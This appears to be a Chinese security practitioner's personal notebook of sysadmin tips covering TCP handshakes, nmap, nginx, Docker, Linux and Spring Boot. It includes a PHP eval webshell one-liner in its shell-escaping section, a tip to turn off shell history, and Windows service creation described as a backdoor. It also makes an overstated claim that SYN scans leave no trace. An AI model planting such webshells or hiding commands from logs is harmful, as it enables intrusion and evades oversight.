详细解释TCP三次握手
客户端在打算建立TCP连接时,向服务器发出连接请求报文,这时首部中的同部位SYN = 1,同时选择一个初始序号 seq = x,这时TCP客户程序进入SYN-SENT(同步已发送)状态
服务端在收到请求报文段后,如果同意建立连接,那么就向客户端发送确认。在确认报文段中将SYN,ACK = 1,确认号是ack = x + 1,并同时为自己选择一个初始序号seq = y,这时TCP服务器进入SYN-RCVD(同步收到)状态
TCP客户端收到服务端的确认之后,还要向服务端给出确认,确认报文ACK = 1,确认号ack = y + 1 , seq = x + 1,此时TCP连接已经建立,客户端进入ESTABLISHED(已建立连接)状态
备注:
确认号ack,是期望收到下一个报文段的第一个数据字节的序号
初始序列seq
同步SYN,在建立连接用来的同步序号,SYN置1就表示这是一个连接请求或连接接受报文
确认ACK,仅当ACK=1,确认号字段才有效,TCP规定,在连接建立后所有的传送报文都必须把ACK置1
为什么客户端第二次握手之后,还要最后确认一次?
主要是为了防止已经失效的连接请求报文段突然又传送到了服务端,因而产生错误
正常情况:客户端发送连接请求,但因连接请求报文丢失而服务端未收到确认,于是客户端再重传一次连接请求。后面收到了确认,建立了连接。客户端发送了连个连接请求报文,其中第一个丢失,第二个到达服务端,没有“已经失效的连接请求报文”
异常情况:客户端发送连接请求,但连接请求报文并未丢失而是在某些网络节点长时间滞留了,以致于连接释放后的某个时间才到达服务端。服务端上一个连接已经释放后,现在接收到客户端“新的”连接请求报文(第一次滞留的报文),那么服务端向客户端发送确认报文,同意建立连接,那么两次握手,现在又会建立起新的连接
谈谈TCP 四次挥手
1.客户端把连接释放报文段首部的FIN(终止控制位)置 1,其序号 seq = u,这时客户端进入FIN-WAIT-1(终止等待1)状态
2.服务端收到连接释放报文后发出确认,ACK = 1,确认号是ack = u+1, 而这个报文的序号是 seq = v,然后服务端就进入CLOSE-WAIT(关闭等待)状态
此时客户端——>服务端这个方向上的连接就释放了,此时TCP处于半关闭状态,若服务端要给客户端发送数据,客户端还可以接收,客户端接收到服务端的之后,进入FIN-WAIT-2(终止等待2)状态,等待服务端发出连接释放报文段
3.若服务端没有要向客户端发送的数据,那么服务端通知TCP释放连接。服务端发出的连接释放报文必须使FIN = 1,确认报文ACK = 1,假设序列号seq = w;服务端还要重复上次发送的确认号,ack = u + 1 ,这是服务端进入LAST-ACK(最后确认状态),等待客户端确认
4.客户端收到服务端的连接释放报文之后,必须对此发出确认,在确认报文中,ACK = 1 ,确认号ack = w+1,seq = u + 1,此时服务端则关闭,客户端需要等待2MSL时间,才能关闭
NMAP 扫描端口半连接,全连接区别?
半连接扫描(TCP SYN扫描):这是一种秘密的扫描方式之一,因为在SYN扫描中Client和Server端没有形成3次握手,没有建立一个正常的TCP连接,因此不会被防火墙和IDS所记录,一般不会再目标主机上留下任何痕迹,但是这种扫描需要root权限
全连接扫描(TCP Connect扫描)这是一种普通的扫描方式,特点是:扫描速度快,准确性高,对操作者没有权限上的要求,但是容易被防火墙和IDS发现,扫描原理则是建立一个TCP连接
CentOS 7 编译安装nginx,如何将其加入到服务(nginx.service)?
# 默认编译安装到/usr/local/nginx
# 在 /usr/lib/systemd/system/目录下创建服务
cd /usr/lib/systemd/system/
touch nginx.service
vim nginx.service
# 添加如下内容
[Unit]
Description=nginx - high performance web server
Documentation=http://nginx.org/en/docs/
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
PIDFile=/usr/local/nginx/logs/nginx.pid
ExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.conf
ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
Linux 写入/usr/lib/systemd/system/xxx.service 不生效解决办法
systemctl daemon-reload
nginx 如何配置Basic认证?
配置nginx,新增server节点 针对es 配置 nginx basic 认证
server {
listen 9201;
server_name elasticSearch;
location / {
proxy_pass http://127.0.0.1:9200/;
auth_basic "nginx basic http for es";
auth_basic_user_file conf.d/passwd;
autoindex on;
}
}
再使用 openssl 或者htpasswd 生成密码文件(推荐使用openssl,系统自带,htpasswd可自行查询),格式如下: 此处conf.d/passwd 是在/usr/local/nginx/conf/conf.d/passwd
# openssl(默认自带)
printf "your_username:$(openssl passwd -crypt your_password)\n" >> conf.d/passwd
生成密码之后,使用如下命令检查配置文件是否正确
nginx -t
重启nginx
docker Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
背景
由于尝试做docker api 未授权rce 漏洞,将docker.service 中的ExecStart 修改成了对外开放2375端口,最后测试完毕之后,将注释去掉之后,systemctl daemon-reload
之后启动成功之后,报错如下:
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
且查看 systemctl status docker
,发现目标为active:running
,且无/var/run/docker.sock文件
解决办法
将fd:// 更改为 unix://,然后重新加载systemctl daemon-reload
,systemctl restart docker
Docker启动镜像
在docker 中 要找一个新的镜像,我们首先要查看需要下载的镜像,这里以mysql举例
docker search mysql
docker pull mysql
拉取完成之后,查看所有的镜像
docker images -a
启动镜像
docker run -p 本机映射端口:镜像映射端口 -d --name 启动镜像名称 -e 镜像启动参数 镜像名称:版本
# -p 本机端口和容器端口映射
# -d 后台运行
# --name 容器名称
# -e 镜像启动参数
例:https://hub.docker.com/_/mysql
docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag
查看相关参数从hub.docker.com 中寻找,或者网传使用runlike
docker run -p 3306:3306 -d --name mysql-aaron -e MYSQL_ROOT_PASSWORD=admin mysql:latest
Docker清除缓存
docker system prune --volumes
umount devices is busy?
NFS未授权挂载经常会出现此类问题 原因:因为有多个进程在使用,所以无法取消挂载,当将所有的进程kill掉之后,再umount即可 使用fuser命令罗列出pid
fuser -v -m <mount_dir>
-v 表示 verbose 模式。进程以 ps 的方式显示,包括 PID、USER、COMMAND、ACCESS 字段 -m 表示指定文件所在的文件系统或者块设备(处于 mount 状态)。所有访问该文件系统的进程都被列出。
linux history添加执行的时间
bash shell
编辑/etc/profile 在最下方添加
HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S"
保存后退出,执行
source /etc/profile
# 标准日期
history -i
# 英文日期
history -E
登录shell,执行命令使其不保存至history?
set +o history
如何查看文件md5,sha1,sha256等(主要是windows)
Linux
在linux中,查看文件md5,sha1,sha256等等都很简单,只需要键入命令
md5sum output
b5cd11c42c9031cad6515ff62f4e03ac output
sha1sum output
6c2c76a15c272db2b582e8f7d47c1f64b9b2f32c output
sha256sum output
a4ed89f176e5200ebe571631bd2fdb0d6e18a9ce7b5d78eb69b4a3abd538898b output
windows
certutil -hashfile <filename> MD5
certutil -hashfile <filename> SHA1
certutil -hashfile <filename> SHA256
windows 新建删除服务
常常用作后门
删除服务
sc delete 服务名称
新建服务
sc create monitor binpath= "可执行文件exe绝对路径 --service -r 可执行文件根路径" displayname= "监控文件夹" start= auto
# sc create monitor binpath= "D:\Software\OtherTool\MonitorFolder.exe --service -r D:\Software\OtherTool" displayname= "监控文件夹" start= auto
Linux 安装pip2,pip3
// pip2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
// pip3
wget https://bootstrap.pypa.io/get-pip.py
# 如果这里报错 ModuleNotFoundError: No module named 'distutils.util'
# 执行如命令
apt install -f
apt-get install python3-distutils
python3 get-pip.py
Linux 更新pip2 pip3
python2 -m pip install --upgrade pip
python3 -m pip install --upgrade pip
Linux 启动IDEA 报错 Error opening zip file or JAR manifest missing : /home/luogan/.jetbrains/jetbrains-agent-v3.2.0.de72.619 Error occurred during initialization of VM
背景
重装了idea,之前使用激活工具激活
find / -name "*vmoptions*"
删除/home/${User}/.IntelliJIdea2019.3/
即可
Linux 配置开机自动挂载硬盘
背景
由于公司新发的thinkpad是SSD + HD ,我将操作系统装在了固态硬盘上,但是固态硬盘只有128G,HD却有500G,所以我只有格式化硬盘,将其挂载到我的硬盘上,具体如下所示 首先我们知道Linux是文件系统,硬盘也不例外,硬盘的标识是在/dev/sda0-6
sudo fdisk -l
可以看到我这里的硬盘是/dev/sda1,那么我将其挂载上的命令如下
sudo mount /dev/sda1 /my_HD
mount | grep my_HD
df -h
手动挂载虽然也行,但是毕竟不是服务器,不会不关机,那么就需要开机自动挂载硬盘
自动挂载
使用blkid命令查看磁盘uuid
sudo blkid
可以看到/dev/sda1就是我的硬盘,Type是ext4,需要关注一下Type,linux 分区一般为 ext4,windows 分区一般为 ntfs 编辑/etc/fstab,将分区信息写入 /etc/fstab 文件启动自动挂载
sudo vim /etc/fstab
UUID=744c071c-5e78-4dab-9d4c-cac5ea8e975d /my_HD ext4 defaults 0 1
注:<fs spec> <fs file> <fs vfstype> <fs mntops> <fs freq> <fs passno>
<fs spec>:分区定位,可以给UUID或LABEL,例如:UUID=6E9ADAC29ADA85CD或LABEL=software
<fs file>:具体挂载点的位置,例如:/data<fs vfstype>:挂载磁盘类型,linux 分区一般为 ext4,windows 分区一般为 ntfs
<fs mntops>:挂载参数,一般为defaults
<fs freq>:磁盘检查,默认为0
<fs passno>:磁盘检查,默认为0,不需要检查
第一个叫fs_freq,用来决定哪一个文件系统需要执行dump操作,0就是不需要;
第二个叫fs_passno,是系统重启时fsck程序检测磁盘的顺序号 1 是root文件系统,2 是别的文件系统。fsck按序号检测磁盘,0表示该文件系统不被检测 dump 执行ext2的文件系统的备份操作 fsck 检测和修复文件系统
修改完成之后,执行
sudo mount -a
rpm 包与 deb包相互转换
sudo apt intall alien
sudo alien XMind-for-Linux-x86-64bit-11.0.1-202106220606.rpm
Linux 执行命令时错误返回在shell时,如何将其去掉?
一般正常情况下,shell会将所有的信息返回回来,如果此时需要去除错误,只需要执行成功的信息,只需要将错误重定向到某个文件即可,我在DNS隧道反弹shell总结过,其中xxx 表示执行的代码,2表示错误
xxx 2 > error
windows 和 Linux shell的转义符
写一个一句话
# windows
echo ^<?php @eval(^$_POST['cmd']); ?^> > test.php
# Linux
echo "<?php @eval(\$_POST['cmd']);?>" > test.php
echo \<\?php \@eval\(\$_POST\[\'cmd\'\]\)\;\?\> > test.php
windows、Linux 在终端中如何设置临时代理
临时代理设置如下
windows
cmd shell
set http_proxy=127.0.0.1:10809
set https_proxy=127.0.0.1:10809
powershell
$env:HTTP_PROXY="127.0.0.1:10809"
$env:HTTPS_PROXY="127.0.0.1:10809"
Linux
export http_proxy=127.0.0.1:10809
export https_proxy=127.0.0.1:10809
Linux 更新系统字体
首先下载tff文件 然后执行如下命令
sudo mkdir /usr/share/fonts/msyh
sudo cp *.ttf /usr/share/fonts/msyh/
sudo fc-cache -fv
JDK1.7 在macos版本的idea 运行警告
/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA.app/Contents/lib/idea_rt.jar=63173:/Applications/IntelliJ IDEA.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/htmlconverter.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-doclet.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/tools.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/Project/target/classes:/Users/aaronluo/.m2/repository/org/javassist/javassist/3.19.0-GA/javassist-3.19.0-GA.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections-3.1/commons-collections-3.1.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections4-4.0/commons-collections4-4.0.jar com.myproject.TestCC7
objc[20911]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java (0x1081794c0) and /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10833f4e0). One of the two will be used. Which one is undefined.
Process finished with exit code 0
该问题主要出现于 Mac 版本的 IntelliJ IDEA 之中,而引起该问题的原因,则是 Mac 中 JDK 的一个 BUG,如果你是jdk1.8.0_152之前的版本。它是由启动应用程序时 IDE 使用的 Java 代理触发的,此警告是无害的,我们可以安全地忽略,并且该问题已经在后续的 JDK 中得到了解决。
解决方式
既然该问题是由于 IDEA 启用代理引起的,那么我们禁止 IDEA 启动代理,即可解决该问题。
添加如下所示,并重启idea即可
idea.no.launcher=true
当然还可以升级JDK 到1.8.0_152+
MacOS docker 换源
安装好macos 下的docker 之后,直接点击Preferences,或者在桌面版点击齿轮
图标,选中Docker Engine
修改如下
{
"debug": true,
"experimental": false,
"registry-mirrors": [
"https://docker.mirrors.ustc.edu.cn",
"https://hub-mirror.c.163.com"
]
}
最后点击右下角的apply & Restart
在命令行执行docker info
命令就可以看到换好后的源
Kali 2019.4 换源之后,apt update 报错
root@kali:/usr# apt-get update
获取:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease [30.5 kB]
错误:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease
下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
已下载 30.5 kB,耗时 0秒 (32.6 kB/s)
正在读取软件包列表... 完成
W: 校验数字签名时出错。此仓库未被更新,所以仍然使用此前的索引文件。GPG 错误:http://mirrors.ustc.edu.cn/kali kali-rolling InRelease: 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
W: 无法下载 http://mirrors.ustc.edu.cn/kali/dists/kali-rolling/InRelease 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
解决方案 从官网下载签名并安装
wget archive.kali.org/archive-key.asc
apt-key add archive-key.asc
gitbook-summary 生成目录,在目录中存在空格无法跳转
由于book命令是新版本,导致无法跳转,因为会将空格转移成%20
,在git serve
的时候无法将%20
解析,不能生成html
,所以还是md
,生成之后就没有web链接
解决办法:
降级到1.2.2版本
npm install -g gitbook-summary@1.2.2
Vue 打包上线至Nginx
# vue-cli
npm run build
# nginx.conf
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location ^~ / {
root html/threat/;
try_files $uri $uri/ /index.html
index index.html index.htm;
#index index.html index.htm;
}
location /api/ {
proxy_pass http://<反向代理地址>/;
}
...
}
Nodejs 连接MySQL8 问题
Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client
at Handshake.Sequence._packetToError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Sequence.js:47:14)
at Handshake.ErrorPacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Handshake.js:123:18)
at Protocol._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:291:23)
at Parser._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:433:10)
at Parser.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:43:10)
at Protocol.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:38:16)
at Socket.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:88:28)
at Socket.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:526:10)
at Socket.emit (node:events:527:28)
at addChunk (node:internal/streams/readable:315:12)
--------------------
at Protocol._enqueue (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:144:48)
at Protocol.handshake (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:51:23)
at Connection.connect (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:116:18)
at Object.<anonymous> (/Users/aaronluo/Desktop/html/node/sql.js:9:5)
at Module._compile (node:internal/modules/cjs/loader:1105:14)
at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)
at Module.load (node:internal/modules/cjs/loader:981:32)
at Function.Module._load (node:internal/modules/cjs/loader:822:12)
at Module.require (node:internal/modules/cjs/loader:1005:19)
at require (node:internal/modules/cjs/helpers:102:18)
Emitted 'error' event on Connection instance at:
at Connection._handleProtocolError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/Connection.js:423:8)
at Protocol.emit (node:events:527:28)
at Protocol._delegateError (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:398:10)
at Handshake.<anonymous> (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:153:12)
at Handshake.emit (node:events:527:28)
at Handshake.Sequence.end (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Sequence.js:78:12)
at Handshake.ErrorPacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/sequences/Handshake.js:125:8)
at Protocol._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Protocol.js:291:23)
at Parser._parsePacket (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:433:10)
at Parser.write (/Users/aaronluo/Desktop/html/node/node_modules/mysql/lib/protocol/Parser.js:43:10) {
code: 'ER_NOT_SUPPORTED_AUTH_MODE',
errno: 1251,
sqlMessage: 'Client does not support authentication protocol requested by server; consider upgrading MySQL client',
sqlState: '08004',
fatal: true
}
[nodemon] app crashed - waiting for file changes before starting...
导致这个错误的原因是,目前,最新的mysql模块并未完全支持MySQL 8的“caching_sha2_password”
加密方式,而“caching_sha2_password”
在MySQL 8中是默认的加密方式。因此,下面的方式命令是默认已经使用了“caching_sha2_password”
加密方式,该账号、密码无法在mysql模块中使用。
解决方法是重新修改用户root的密码,并指定mysql模块能够支持的加密方式:在mysql内执行下面命令
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'admin';
Javascript removeChild()遍历删除节点之后实际上并没有删除
在for循环的时候一定要倒序删除,才能避免删不干净的情况。浏览器会把空行当做一个子节点,会占一行位置,导致删除失败。
let ol = document.getElementById('ol_id_content')
let liArray = ol.childNodes
if(liArray.length > 0){
for(let i = liArray.length - 1 ;i > 0; i --){
ol.removeChild(liArray[i])
}
}`
vue3 编译报 ESLint: ‘defineProps‘ is not defined no-undef 错误问题
在/package.json的eslintConfig.env中加入一行:
"vue/setup-compiler-macros": true
nginx 访问路径末尾带/可以访问,不带则直接重定向到80端口的相对路径
server(或http, location) 节点添加上
absolute_redirect off;
Nginx 部署vue项目,需要将项目配置到非根目录(如/admin路径)
首先在vue.config.js中添加
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
publicPath: '/admin/',
})
然后在router/index.js中配置
const router = createRouter({
history: createWebHashHistory(process.env.BASE_URL),
base: process.env.BASE_URL,
routes
})
打包之后在nginx中配置
location /admin {
absolute_redirect off;
alias /etc/nginx/html/admin/;
try_files $uri $uri/ /admin/index.html;
index index.html index.htm;
}
CentOS 7虚拟机配置静态IP
编辑网卡(其中ens33是我的网卡名称)
vim /etc/sysconfig/network-scripts/ifcfg-ens33
BOOTPROTO="static"
IPADDR="STATIC-IP"
NETMASK="NETMASK"
GATEWAY="GATEWAY"
systemctl restart network
SpringBoot 修改Jar包为War包
添加tomcat依赖以及servlet-api依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.1</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<packaging>war</packaging>
<groupId>com.Knownsec</groupId>
<artifactId>KnowledgeSpring</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>KnowledgeSpring</name>
<description>KnowledgeSpring</description>
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>3.0.3</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter-test</artifactId>
<version>3.0.3</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.33</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.15.2</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.15</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
<configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
</configuration>
</plugin>
</plugins>
</build>
</project>
添加一个SpringBootStartApplication类继承SpringBootServletInitializer
package com.knownsec.knowledgespring;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
public class SpringBootStartApplication extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder applicationBuilder) {
return applicationBuilder.sources(KnowledgeSpringApplication.class);
}
}
25个T及以上的日志怎么阅读?
split -b 100m access.log
split命令是一个在Unix、Linux和类Unix操作系统中常见的命令行实用程序,用于将一个大文件分割成多个较小的文件。
split [选项] 文件名 [输出文件名前缀]
常用选项
-b: 按照指定的大小分割文件。可以使用K、M、G等后缀表示文件大小,例如10M表示分割成大小为10MB的文件。
-l: 按照行数分割文件。
-a: 指定生成的文件名后缀的长度,默认为2。
-d: 使用数字作为输出文件名的后缀。
-v: 使用版本号作为输出文件名的后缀。
-t: 在控制台输出分割进度信息。
--help: 显示帮助信息。
-C选项时,split会将输入文件分割成多个输出文件,每个输出文件的大小不超过指定的字节数.